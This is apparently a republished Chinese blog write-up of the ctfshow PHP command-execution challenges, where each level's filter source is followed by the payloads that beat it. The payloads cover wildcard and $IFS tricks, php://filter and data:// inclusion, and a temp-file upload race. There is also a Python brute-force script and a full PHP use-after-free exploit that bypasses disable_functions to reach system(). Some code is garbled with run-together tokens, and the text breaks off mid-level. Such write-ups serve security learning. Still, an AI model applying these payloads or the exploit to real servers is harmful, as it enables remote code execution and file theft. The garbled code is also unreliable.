您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關php中如何進行ctfshow命令執行,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
命令執行,需要嚴格的過濾
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match — 執行匹配正則表達式
題目限制了不能出現flag
.
構造?c=system(ls);
頁面回顯:
flag.php index.php
繞過 flag ,通配符繞過。
linux 中有一些通配符。
*
代表任意字符 0個或多個
?
代表任意字符 1 個
[abcd]
匹配abcd中一個字符
[a-z]
匹配范圍 a-z
還可以這樣繞過
fla\g.php fla''g.php
payload :
?c=system('cat *'); ?c=system('cat fl?g.php'); ?c=system('cat f[a-z]ag.php');
執行 payload 后源代碼中有顯示。
另一種解法:
eval — 把字符串作為PHP代碼執行
傳入?c=echo "hello";?><?php system(ls);
看到有flag.php ,利用文件包含。
構造:
?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64 字符串,解碼得到
<?php
$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';
命令執行,需要嚴格的過濾
代碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在上一題的基礎上增加了過濾。flag
、system
、php
但是我們依然可以用到其他函數進行代替。
system() passthru() # passthru — 執行外部程序并且顯示原始輸出 exec() # exec — 執行一個外部程序 shell_exec() # shell_exec — 通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回。 popen() proc_open() pcntl_exec() 反引號 同shell_exec()
這里需要注意一下,只有system函數是有回顯的,其他的函數可以通過echo等顯示
?c=echo passthru("cat f*"); ?c=echo `cat f*`;
或者
?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
題目wp:
echo `nl fl''ag.p''hp`;
命令執行,需要嚴格的過濾
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
more:一頁一頁的顯示檔案內容 less:與 more 類似 head:查看頭幾行 tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示 tail:查看尾幾行 nl:顯示的時候,順便輸出行號 od:以二進制的方式讀取檔案內容 vi:一種編輯器,這個也可以查看 vim:一種編輯器,這個也可以查看 sort:可以查看 uniq:可以查看 file -f:報錯出具體內容 grep 在當前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,并打印出該字符串的行。此時,可以使用如下命令: grep test *file paste 指令會把每個文件以列對列的方式,一列列地加以合并。
{$IFS} $IFS$9 > < <> 重定向符 %09(需要php環境) {cat,flag.php} //用逗號實現了空格功能 %20 https://blog.csdn.net/whuslei/article/details/7187639
payload:
?c=echo(`tac%09f*`);
解法二:
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
官方
show_source(next(array_reverse(scandir(pos(localeconv())))));
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又增加過濾了 反引號、括號,echo。
include require include_once require_once
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了一個雙引號,
直接用上一題的 payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾多了一個冒號,也是上一關payload 。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了<
、=
。沒啥用,直接打
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了數字
,繼續打。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;
}
}else{
highlight_file(__FILE__);
}
過濾了flag ,又是 include 文件包含
利用偽協議讀flag
data://,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行
payload:
/?c=data://text/plain,<?php system(ls); # https://www.php.net/manual/zh/wrappers.data.php ?c=data://text/plain,<?php system('cat f*');
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
同樣使用data協議。
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain,<?php system('cat *');?>
data://text/plain, 這樣就相當于執行了php語句 .php 因為前面的php語句已經閉合了,所以后面的.php會被當成html頁面直接顯示在頁面上,起不到什么 作用
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾了引號、$、冒號,還不能用偽協議。
一般括號里參數都要用引號,這里學習一下無參數RCE(remote command/code execute)。
無參數的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數。
詳情看這里:
payload:
c=readfile(next(array_reverse(scandir(getcwd())))); # 多刷新幾次 c=readfile(array_rand(array_flip(scandir(getcwd())))); readfile(array_rand(array_flip(scandir(current(localeconve()))))); wp: c=session_start();system(session_id()); passid=ls
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
這個題過濾了$、+、-、^、~
使得異或自增和取反構造字符都無法使用,同時過濾了字母和數字。但是特意留了個或運算符|
。我們可以嘗試從ascii為0-255的字符中,找到或運算能得到我們可用的字符的字符。這里先給出兩個腳本 exp.py rce_or.php,大家以后碰到可以使用或運算繞過的可以自己手動修改下即可。生成可用字符的集-合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大體意思就是從進行異或的字符中排除掉被過濾的,然后在判斷異或得到的字符是否為可見字符
傳遞參數getflag用法python exp.py <url>
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #沒有將php寫入環境變量需手動運行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
https://blog.csdn.net/miuzzx/article/details/108569080
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
c=ls; c=cat flag.php;
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
過濾分號和cat
使用 換行符%0a
?c=ls%0a ?c=tac flag.php%0a
說一下為啥system()
函數要用的分號或者截斷,因為不用的話輸入的語句就和后邊的>/dev/null 2>&1
拼接起來了。最后不關輸入啥都會把結果輸出到/dev/null
。
詳情看這里: https://www.cnblogs.com/520playboy/p/6275022.html
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
過濾;
、cat
、flag
結合前面的,直接:
?c=tac f*%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了個空格。
payload:
?c=tac%09f*%0a
?c=tac$IFS\f*%0A
# 這里 f 前面不加 反斜杠的話就出不來,可能是會被前面的解析到一起吧。
?c=more${IFS}f*%0a
IFS: https://www.xuebuyuan.com/3197835.html
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了數字、$ 、*
意味著不能用shell中變量了。
payload:
?c=tac%09fla?.php%0a nl<fla''g.php|| ?c=tac<fla\g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了 more 、less 、 head 、sort 、tail 。
但是 tac 、od 、uniq 等沒被過濾
od 讀文件 https://www.cnblogs.com/wfwenchao/p/5188720.html
payload:
?c=tac%09fla?.php%0a ?c=nl%09fla?.php%0a ?c=nl<fla''g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了一些讀取函數。
payload:
?c=tac%09fla?.php%0a ?c=tac<fla''g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾反引號。
payload 同上關一樣。
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾%
、09
、26
?c=tac<fla''g.php%0a ?c=tac<>fla\g.php%0a
<?php
sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
這回額外過濾了tac
,但是我們還可以用nl
?c=nl<fla\g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
額外過濾了 重定向符< >
,但是這里沒過濾$
去查?c=nl${IFS}fla\g.php%0a
得到$flag="flag_here";
得到了一個假的flag.
查詢根目錄有啥文件
?c=ls${IFS}/%0a # bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var ?c=nl${IFS}/fla''g%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
也沒多過濾啥。。
?c=ls%0a
得到
ls flag.php index.php readflag readflag
payload:
?c=ls%0a ?c=nl<fla''g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了一些查看文件指令。
payload:
?c=paste${IFS}fla?.php%0a ?c=/bin/?at${IFS}f?ag.php%0a ?c=/bin/?at${IFS}f???????
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
直接過濾了所有小寫字母!!!。
那么這里肯定是要無字符 rce 。
但是這里沒有過濾通配符,所以可以找到一個帶有數字的命令,利用通配符執行命令。
有個命令是/bin/base64
,我們可以據此構造
?c=/???/????64 ????????
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=
解碼即得到flag.
bzip2
bzip2 是 linux 下面的壓縮文件的命令。在/usr/bin/bzip2
構造
?C=/???/???/????2 ????????
然后訪問flag.php.bz2
下載即可獲得 flag.php
臨時文件上傳
https://www.gem-love.com/websecurity/1407.html
https://blog.csdn.net/qq_46091464/article/details/108557067
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
多過濾數字,所以用不了上題的前兩種方法。這里只能詳細寫一下上題的第三種方法了。
我們可以通過post一個文件(文件里面的sh命令),在上傳的過程中,通過.(點)
去執行執行這個文件。(形成了條件競爭)。一般來說這個文件在linux下面保存在/tmp/php??????
一般后面的6個字符是隨機生成的有大小寫。(可以通過linux的匹配符去匹配)注意:通過
.去執行sh命令不需要有執行權限
我們需要構造一個post上傳文件的數據包。
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數據包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--鏈接是當前打開的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包,構造?c=.+/???/????????[@-[]
<?php
// 還能炫的動嗎?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
這里只需要構造 傳參 36 即可,但是數字字符都被ban了。
paylaod
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
linux echo 一下是 36.
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post構造c=system('ls');
結果
Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
system 函數被 ban了
Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
構造c=print_r(scandir('.'));
.得到
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
payload:
c=readfile('flag.php');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
同上關但是,
Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
嘗試其他讀取文件函數
c=show_source('flag.php');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
同58一樣
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
用以前方法
Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=highlight_file('flag.php');
結果
$flag="秀秀得了,這次不在這里";
c=print_r(scandir('/'));
返回
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
有個flag.txt ,構造 payload:
c=highlight_file('/flag.txt');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
找目錄,發現
Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
用c=var_dump(scandir('.'));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
c=highlight_file('flag.php');
又是假的。
最終
c=highlight_file('/flag.txt');
打開題目直接
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
說明highlight_file
函數被禁用了。
c=var_dump(scandir('/'));
得到
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
有個flag.txt
readfile
、show_source
、highlight_file
被禁用了.
讀取不了,但是我們還可以直接文件包含。
payload:
c=include('/flag.txt');
同樣是
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
var_dump 也被禁用
Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
var_export — 輸出或返回一個變量的字符串表示
用c=var_export(scandir('/'));
得到
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
payload:
c=var_export(scandir('/'));` c=include('/flag.txt');
直接:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21 你要上天嗎?
payload:
c=var_export(scandir('/')); c=include('/flag.txt');
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天嗎?
c=var_export(scandir('/'));
得到
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天嗎?
......發現有個附件,下載打開:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天嗎?
代碼把輸出的字母數字都轉換為問號?
.
我們可以是服務端執行完我們的惡意 payload 后就停止運行 php 程序。
所以可以c=var_export(scandir('/'));exit(0);
使得后邊的代碼停止執行,從而不會被正則替換。
payload:
c=var_export(scandir('/'));exit(0); c=include('/flag.txt');exit(0);
下載附件:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天嗎?
執行c=include('flag.php');exit(0);
沒內容打印。
有進行讀取根目錄文件,但是被 open_basedir限制.
進行繞過。
c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();
得到根目錄文件
bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
有flag0.txt
.
Warning: include(): Failed opening '/flag0.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1
exp:
<?php pwn("cat /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function my_str_repeat($a,$b){ $s = ''; for($i = 0; $i <= $b;$i++){ $s.=$a; } return $s; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(my_str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(my_str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } exit();
https://www.m00nback.xyz/2020/02/17/ctfshow%E9%83%A8%E5%88%86%E9%A2%98%E7%9B%AEwriteup/
https://www.jb51.net/article/141767.htm
但是我打不出來。。。。。
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天嗎?
c=var_export(scandir('/'));die();
得到
